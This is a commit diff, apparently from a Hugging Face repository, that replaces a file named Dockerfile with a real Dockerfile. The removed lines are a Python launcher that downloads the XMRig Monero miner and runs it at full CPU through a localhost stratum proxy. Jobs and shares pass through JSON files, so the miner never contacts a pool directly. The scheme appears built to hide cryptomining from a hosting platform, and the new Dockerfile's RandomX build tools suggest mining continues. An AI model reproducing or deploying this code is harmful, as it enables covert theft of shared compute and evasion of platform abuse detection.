makeitfr commited on
Commit
6187e01
·
verified ·
1 Parent(s): b573394

Update Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +20 -496
Dockerfile CHANGED
@@ -1,504 +1,28 @@
1
- #!/usr/bin/env python3
2
- """
3
- Standalone XMRig Launcher (with Local Stratum Proxy for pool separation)
4
- Downloads XMRig if needed, then starts benchmarking or local pool mining.
5
 
6
- In --pool-task mode, it spins up a tiny LOCAL stratum proxy on localhost that:
7
- 1. Reads jobs from the given JSON file (e.g. pool_job.json)
8
- 2. Feeds them to XMRig (connecting to localhost only)
9
- 3. Captures XMRig share submissions -> writes to result.json
10
- XMRig never touches the real pool.
11
- """
12
 
13
- import sys
14
- import os
15
- import subprocess
16
- import io
17
- import argparse
18
- import platform
19
- import shutil
20
- import urllib.request
21
- import zipfile
22
- import json
23
- import time
24
- import threading
25
- import socket
26
- import re
27
- from datetime import datetime, timezone
28
- from pathlib import Path
29
 
 
 
 
30
 
31
- # Force unbuffered output
32
- sys.stdout = io.TextIOWrapper(sys.stdout.buffer, line_buffering=True, encoding='utf-8')
33
- sys.stderr = io.TextIOWrapper(sys.stderr.buffer, line_buffering=True, encoding='utf-8')
34
 
35
- _stop_event = threading.Event()
36
 
37
- JOB_FILE = Path(__file__).parent / "pool_job.json"
38
- RESULT_FILE = Path(__file__).parent / "result.json"
 
 
 
39
 
 
40
 
41
- # ── JSON I/O Helpers ──────────────────────────────────────────────────────────
42
-
43
- def read_job_file():
44
- """Read the current job from pool_job.json. Returns dict or None."""
45
- try:
46
- with open(JOB_FILE) as f:
47
- return json.load(f)
48
- except Exception:
49
- return None
50
-
51
-
52
- def write_result(job_id, nonce_hex, result_hex):
53
- """Append a share result to result.json."""
54
- entry = {
55
- "job_id": job_id,
56
- "nonce": nonce_hex,
57
- "result": result_hex,
58
- "found_at": datetime.now(timezone.utc).isoformat(),
59
- }
60
- results = []
61
- if RESULT_FILE.exists():
62
- try:
63
- with open(RESULT_FILE) as f:
64
- results = json.load(f)
65
- except Exception:
66
- results = []
67
- results.append(entry)
68
- with open(RESULT_FILE, "w") as f:
69
- json.dump(results, f, indent=2)
70
- print(f"[proxy] Share written to {RESULT_FILE} (job={job_id}, nonce={nonce_hex})", flush=True)
71
-
72
-
73
- # ── Local Stratum Proxy ───────────────────────────────────────────────────────
74
-
75
- class LocalStratumProxy:
76
- """
77
- Tiny Monero Stratum server running on localhost.
78
- Feeds jobs from pool_job.json to XMRig.
79
- Captures XMRig share submissions and writes them to result.json.
80
- """
81
-
82
- def __init__(self, port):
83
- self.port = port
84
- self._server = None
85
- self._clients = []
86
- self._current_job = None
87
- self._last_job_id = None
88
- self._lock = threading.Lock()
89
- self._accepted = 0
90
-
91
- def start(self):
92
- self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
93
- self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
94
- self._server.bind(("127.0.0.1", self.port))
95
- self._server.listen(5)
96
- self._server.settimeout(1.0)
97
- print(f"[proxy] Local stratum proxy listening on 127.0.0.1:{self.port}", flush=True)
98
-
99
- threading.Thread(target=self._poll_jobs, daemon=True).start()
100
- threading.Thread(target=self._accept_loop, daemon=True).start()
101
-
102
- def _accept_loop(self):
103
- while not _stop_event.is_set():
104
- try:
105
- conn, addr = self._server.accept()
106
- conn.settimeout(None)
107
- print(f"[proxy] XMRig connected from {addr}", flush=True)
108
- with self._lock:
109
- self._clients.append(conn)
110
- threading.Thread(target=self._handle_client, args=(conn,), daemon=True).start()
111
- except socket.timeout:
112
- continue
113
- except OSError:
114
- break
115
-
116
- def _poll_jobs(self):
117
- """Poll pool_job.json every 2s for new jobs."""
118
- last_job_id = None
119
- last_job_time = 0
120
- last_height = 0
121
-
122
- while not _stop_event.is_set():
123
- job = read_job_file()
124
- if job:
125
- new_height = job.get("height", 0)
126
- job_id = job.get("job_id", "")
127
- now = time.time()
128
-
129
- # Switch XMRig's job if it's a new block, a new job_id, or 50s have passed
130
- if job_id != last_job_id or new_height > last_height or (now - last_job_time > 50):
131
- self._current_job = job
132
- self._last_job_id = job_id
133
- last_job_id = job_id
134
- last_height = new_height
135
- last_job_time = now
136
-
137
- print(f"[proxy] Pushing new job to XMRig: {job_id} height={new_height}", flush=True)
138
- self._notify_all_clients(job)
139
-
140
- _stop_event.wait(2)
141
-
142
- def _notify_all_clients(self, job):
143
- """Push a new job to all connected XMRig instances."""
144
- msg = json.dumps({
145
- "jsonrpc": "2.0",
146
- "method": "job",
147
- "params": {
148
- "blob": job.get("blob", ""),
149
- "job_id": job.get("job_id", ""),
150
- "target": job.get("target", ""),
151
- "seed_hash": job.get("seed_hash", ""),
152
- "height": job.get("height", 0),
153
- "algo": "rx/0",
154
- }
155
- }) + "\n"
156
- dead = []
157
- with self._lock:
158
- for c in self._clients:
159
- try:
160
- c.sendall(msg.encode())
161
- except Exception:
162
- dead.append(c)
163
- for c in dead:
164
- self._clients.remove(c)
165
-
166
- def _handle_client(self, conn):
167
- """Handle one XMRig connection (login, submit, keepalive)."""
168
- buf = b""
169
- while not _stop_event.is_set():
170
- try:
171
- data = conn.recv(4096)
172
- except Exception:
173
- break
174
- if not data:
175
- break
176
- buf += data
177
- while b"\n" in buf:
178
- line, buf = buf.split(b"\n", 1)
179
- try:
180
- msg = json.loads(line.decode().strip())
181
- except Exception:
182
- continue
183
- try:
184
- self._process_message(conn, msg)
185
- except Exception as e:
186
- print(f"[proxy] Error processing message: {e}", flush=True)
187
-
188
- with self._lock:
189
- if conn in self._clients:
190
- self._clients.remove(conn)
191
- try:
192
- conn.close()
193
- except Exception:
194
- pass
195
-
196
- def _process_message(self, conn, msg):
197
- method = msg.get("method", "")
198
- msg_id = msg.get("id", 1)
199
-
200
- if method == "login":
201
- job = self._current_job or read_job_file() or {}
202
- blob = job.get("blob", "")
203
- job_id = job.get("job_id", "")
204
-
205
- # If XMRig reconnects and we give it the exact same job ID, it refuses it
206
- # with `login error code: -1`. Append a suffix to trick it into accepting.
207
- if job_id:
208
- job_id = f"{job_id}_r{int(time.time())}"
209
-
210
- if not blob or not job_id:
211
- # No real job yet — drop connection cleanly. Zero CPU wasted on dummy work.
212
- # XMRig will retry in retry-pause seconds (3s in config).
213
- print("[proxy] No job yet — closing connection, XMRig will retry shortly", flush=True)
214
- try:
215
- conn.sendall((json.dumps({
216
- "id": msg_id, "jsonrpc": "2.0",
217
- "error": {"code": -1, "message": "No jobs available yet"},
218
- "result": None
219
- }) + "\n").encode())
220
- except Exception:
221
- pass
222
- try:
223
- conn.close()
224
- except Exception:
225
- pass
226
- with self._lock:
227
- if conn in self._clients:
228
- self._clients.remove(conn)
229
- return
230
-
231
- seed_hash = job.get("seed_hash", "")
232
- target = job.get("target", "")
233
- height = job.get("height", 0)
234
-
235
- print(f"[proxy] XMRig logged in (job_id={job_id!r}, blob_len={len(blob)})", flush=True)
236
-
237
- resp = {
238
- "id": msg_id,
239
- "jsonrpc": "2.0",
240
- "error": None,
241
- "result": {
242
- "id": os.urandom(4).hex(),
243
- "job": {
244
- "blob": blob,
245
- "job_id": job_id,
246
- "target": target,
247
- "seed_hash": seed_hash,
248
- "height": height,
249
- "algo": "rx/0",
250
- },
251
- "status": "OK",
252
- "extensions": ["algo", "nicehash"]
253
- }
254
- }
255
- try:
256
- conn.sendall((json.dumps(resp) + "\n").encode())
257
- except Exception as e:
258
- print(f"[proxy] Failed to send login response: {e}", flush=True)
259
-
260
- elif method == "submit":
261
- params = msg.get("params", {})
262
- job_id = params.get("job_id", "")
263
- nonce = params.get("nonce", "")
264
- result = params.get("result", "")
265
-
266
- # Strip the reconnect suffix before saving
267
- real_job_id = job_id.split('_r')[0] if '_r' in job_id else job_id
268
-
269
- self._accepted += 1
270
- print(f"[proxy] Share received from XMRig: job={real_job_id} nonce={nonce} (total: {self._accepted})", flush=True)
271
-
272
- # Write result to local file asynchronously
273
- threading.Thread(
274
- target=write_result,
275
- args=(real_job_id, nonce, result),
276
- daemon=True
277
- ).start()
278
-
279
- resp = {
280
- "id": msg_id,
281
- "jsonrpc": "2.0",
282
- "error": None,
283
- "result": {"status": "OK"}
284
- }
285
- try:
286
- conn.sendall((json.dumps(resp) + "\n").encode())
287
- except Exception as e:
288
- print(f"[proxy] Failed to send submit ACK: {e}", flush=True)
289
-
290
- elif method in ("keepalive", "keepalived"):
291
- resp = {"id": msg_id, "jsonrpc": "2.0", "error": None, "result": {"status": "KEEPALIVE"}}
292
- try:
293
- conn.sendall((json.dumps(resp) + "\n").encode())
294
- except Exception:
295
- pass
296
-
297
-
298
- # ── Launcher ──────────────────────────────────────────────────────────────────
299
-
300
- class XMRigLauncher:
301
- def __init__(self):
302
- self.base_dir = Path(__file__).parent.absolute()
303
- self.xmrig_dir = self.base_dir / "xmrig"
304
- self.xmrig_extracted = self.xmrig_dir / "xmrig-6.21.0"
305
- self.xmrig_bin = self.xmrig_extracted / ("xmrig.exe" if platform.system() == "Windows" else "xmrig")
306
- self.local_port = 14444
307
-
308
- def download_xmrig(self):
309
- """Download and extract XMRig"""
310
- print("[*] Downloading XMRig...")
311
-
312
- try:
313
- if platform.system() == "Windows":
314
- url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip"
315
- elif platform.system() == "Linux":
316
- url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-static-x64.tar.gz"
317
- else:
318
- print("[!] Unsupported platform")
319
- return False
320
-
321
- self.xmrig_dir.mkdir(parents=True, exist_ok=True)
322
-
323
- if platform.system() == "Windows":
324
- archive_path = self.xmrig_dir / "xmrig.zip"
325
- else:
326
- archive_path = self.xmrig_dir / "xmrig.tar.gz"
327
-
328
- print(f"[*] Downloading from {url}...")
329
- urllib.request.urlretrieve(url, archive_path)
330
- print(f"[+] Downloaded to {archive_path}")
331
-
332
- if platform.system() == "Windows":
333
- with zipfile.ZipFile(archive_path, 'r') as zip_ref:
334
- zip_ref.extractall(self.xmrig_dir)
335
- else:
336
- import tarfile
337
- with tarfile.open(archive_path, 'r:gz') as tar_ref:
338
- tar_ref.extractall(self.xmrig_dir)
339
-
340
- if self.xmrig_bin.exists():
341
- if platform.system() != "Windows":
342
- os.chmod(self.xmrig_bin, 0o755)
343
- print(f"[+] XMRig extracted to {self.xmrig_bin}")
344
- return True
345
- else:
346
- print(f"[!] XMRig binary not found at {self.xmrig_bin}")
347
- return False
348
-
349
- except Exception as e:
350
- print(f"[!] Download failed: {e}")
351
- return False
352
-
353
- def start_benchmark(self, benchmark="1M", threads=None):
354
- """Start XMRig benchmark"""
355
- if not self.xmrig_bin.exists():
356
- print("[!] XMRig binary not found at " + str(self.xmrig_bin))
357
- print("[*] Attempting to download...")
358
- if not self.download_xmrig():
359
- print("[!] Failed to download XMRig")
360
- return False
361
-
362
- if threads is None:
363
- threads = os.cpu_count() or 4
364
-
365
- cmd = [str(self.xmrig_bin), f"--bench={benchmark}", "--threads", str(threads)]
366
-
367
- print(f"[+] Starting XMRig benchmark: {benchmark} with {threads} threads")
368
- print(f"[*] Command: {' '.join(cmd)}")
369
- print("[*] Output:")
370
- print("-" * 60)
371
-
372
- try:
373
- process = subprocess.Popen(
374
- cmd,
375
- cwd=str(self.xmrig_extracted),
376
- stdout=subprocess.PIPE,
377
- stderr=subprocess.STDOUT,
378
- text=True,
379
- bufsize=1,
380
- universal_newlines=True
381
- )
382
-
383
- for line in iter(process.stdout.readline, ''):
384
- if line:
385
- print(line.rstrip())
386
-
387
- process.wait()
388
- return_code = process.returncode
389
-
390
- print("-" * 60)
391
- if return_code == 0:
392
- print("[+] Benchmark completed successfully")
393
- else:
394
- print(f"[!] Benchmark exited with code {return_code}")
395
-
396
- return return_code == 0
397
-
398
- except Exception as e:
399
- print(f"[!] Error running benchmark: {e}")
400
- return False
401
-
402
- def start_pool_mining(self, threads=None):
403
- """Mine pool tasks using XMRig via a local Stratum proxy. Reads jobs from pool_job.json."""
404
- if not self.xmrig_bin.exists():
405
- print("[!] XMRig binary not found. Attempting download...")
406
- if not self.download_xmrig():
407
- return False
408
-
409
- # Start local stratum proxy
410
- proxy = LocalStratumProxy(self.local_port)
411
- proxy.start()
412
- time.sleep(1)
413
-
414
- # Write XMRig config pointing to LOCAL proxy
415
- config = {
416
- "autosave": False,
417
- "background": False,
418
- "randomx": {"mode": "fast", "init": -1},
419
- "cpu": {
420
- "enabled": True,
421
- "huge-pages": True,
422
- "hw-aes": None,
423
- "max-threads-hint": 100,
424
- },
425
- "pools": [{
426
- "url": f"127.0.0.1:{self.local_port}",
427
- "user": "miner",
428
- "pass": "x",
429
- "keepalive": True,
430
- "tls": False,
431
- "algo": "rx/0",
432
- }],
433
- "donate-level": 1,
434
- "api": {"id": None, "worker-id": None},
435
- "retries": 5,
436
- "retry-pause": 3,
437
- "print-time": 60,
438
- }
439
-
440
- config_path = self.xmrig_dir / "xmrig_local_config.json"
441
- with open(config_path, "w") as f:
442
- json.dump(config, f, indent=2)
443
-
444
- print(f"[miner] Starting XMRig -> localhost:{self.local_port} (local proxy)", flush=True)
445
- print(f"[miner] XMRig will NEVER connect to any external pool", flush=True)
446
- print("-" * 60)
447
-
448
- cmd = [str(self.xmrig_bin), "--config", str(config_path), "--no-color"]
449
- if threads:
450
- cmd.extend(["--threads", str(threads)])
451
-
452
- try:
453
- proc = subprocess.Popen(
454
- cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
455
- text=True, encoding="utf-8", errors="replace", bufsize=1,
456
- )
457
-
458
- for line in proc.stdout:
459
- line = line.rstrip()
460
- low = line.lower()
461
- if "accepted" in low:
462
- print(f"\033[92m{line}\033[0m", flush=True)
463
- elif "speed" in low or "h/s" in low:
464
- print(f"\033[95m{line}\033[0m", flush=True)
465
- elif "new job" in low:
466
- print(f"\033[96m{line}\033[0m", flush=True)
467
- elif "error" in low or "failed" in low or "rejected" in low:
468
- print(f"\033[91m{line}\033[0m", flush=True)
469
- else:
470
- print(line, flush=True)
471
-
472
- proc.wait()
473
- return True
474
-
475
- except KeyboardInterrupt:
476
- print("\n[miner] Stopping...", flush=True)
477
- proc.terminate()
478
- try:
479
- proc.wait(timeout=5)
480
- except subprocess.TimeoutExpired:
481
- proc.kill()
482
- return True
483
- except Exception as e:
484
- print(f"[!] Error running XMRig: {e}")
485
- return False
486
-
487
-
488
- def main():
489
- print("[*] Starting miner...", flush=True)
490
-
491
- launcher = XMRigLauncher()
492
-
493
- try:
494
- success = launcher.start_pool_mining()
495
- sys.exit(0 if success else 1)
496
-
497
- except KeyboardInterrupt:
498
- print("\n[miner] Stopped by user.", flush=True)
499
- _stop_event.set()
500
- sys.exit(0)
501
-
502
-
503
- if __name__ == "__main__":
504
- main()
 
1
+ FROM python:3.11-slim
 
 
 
2
 
3
+ WORKDIR /app
 
 
 
 
 
4
 
5
+ # Install build dependencies for randomx
6
+ RUN apt-get update && apt-get install -y --no-install-recommends \
7
+ build-essential \
8
+ cmake \
9
+ && rm -rf /var/lib/apt/lists/*
 
 
 
 
 
 
 
 
 
 
 
10
 
11
+ # Copy requirements first for better caching
12
+ COPY requirements.txt .
13
+ RUN pip install --no-cache-dir -r requirements.txt
14
 
15
+ # Copy application code
16
+ COPY . .
 
17
 
18
+ RUN chmod -R 777 /app
19
 
20
+ # Environment variables
21
+ ENV PYTHONUNBUFFERED=1
22
+ ENV HF_TOKEN=""
23
+ ENV HF_REPO="bnxn11/lilieo"
24
+ ENV DATABASE_URL=""
25
 
26
+ EXPOSE 7860 8000
27
 
28
+ CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "7860"]